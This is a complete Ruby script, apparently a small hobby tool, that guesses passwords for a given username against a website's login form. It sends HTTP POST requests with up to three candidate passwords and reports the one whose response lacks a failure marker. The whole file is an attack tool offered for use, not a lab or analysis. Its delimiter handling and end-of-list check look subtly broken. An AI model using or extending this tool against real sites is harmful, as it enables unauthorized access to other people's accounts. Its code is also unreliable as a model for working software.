require 'net/http'
require 'optparse'

class RemotePasswordCracker

  def parseCommandLineOptions()

    options = {}

    OptionParser.new do |opts|

      opts.banner = "Usage: frspck [options]"

      opts.on("-a PASSWORD, PASSWORD1, PASSWORD2", "--add PASSWORD, PASSWORD1, PASSWORD2", Array, "add passwords to crack username") do |pass|
        if pass[0]
          options[:PASSWORD] = pass[0]
          if pass[1]
            options[:PASSWORD1] = pass[1]
            if pass[2]
              options[:PASSWORD2] = pass[2]
            end
          end
        end
      end
      opts.on("-u", "--user USERNAME", "username to crack...") do |username|
        options[:u] = username
      end
      opts.on("-l", "--link LINK", "link from the http website to crack...") do |link|
        options[:l] = link
      end
      opts.on("-p", "--parameters POSTPAREMETER", "post parameters") do |post|
        options[:p] = post
      end
    end.parse!

    return options

  end

  def checkHTTP(url)
    if !url.include?"http" and !url.include?"https"
      return false
    end
    return true
  end

  def cracker()

    options = parseCommandLineOptions()
    url = options[:l]

    if !checkHTTP(url)
      puts("Not a valid http link...\nShutting down...\n")
      return false
    end

    passwordArray = Array.new
    postArray = Array.new
    uri = URI(url)
    username = options[:u]
    passwordArray.push(options[:PASSWORD])
    passwordArray.push(options[:PASSWORD1])
    passwordArray.push(options[:PASSWORD2])
    postRequest = options[:p]
    delimiters = ["&", ":"].to_s
    postArray = postRequest.split(Regexp.union(delimiters))
    x = 0

    threadPost = Thread.new do loop do

        response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => passwordArray[x], postArray[2] => "submit"})
        if response.body.include?postArray[3].to_s
          puts(passwordArray[x] + " failed.")
        else
          puts("Username:" + username)
          puts("Password: " + passwordArray[x])
          break
        end

        x += 1

        if passwordArray[x] == passwordArray[passwordArray.length]
          puts("Couldn't crack account...\n")
          break
        end

      end
    end
    threadPost.join()
  end
end

passwordCracker = RemotePasswordCracker.new
passwordCracker.cracker()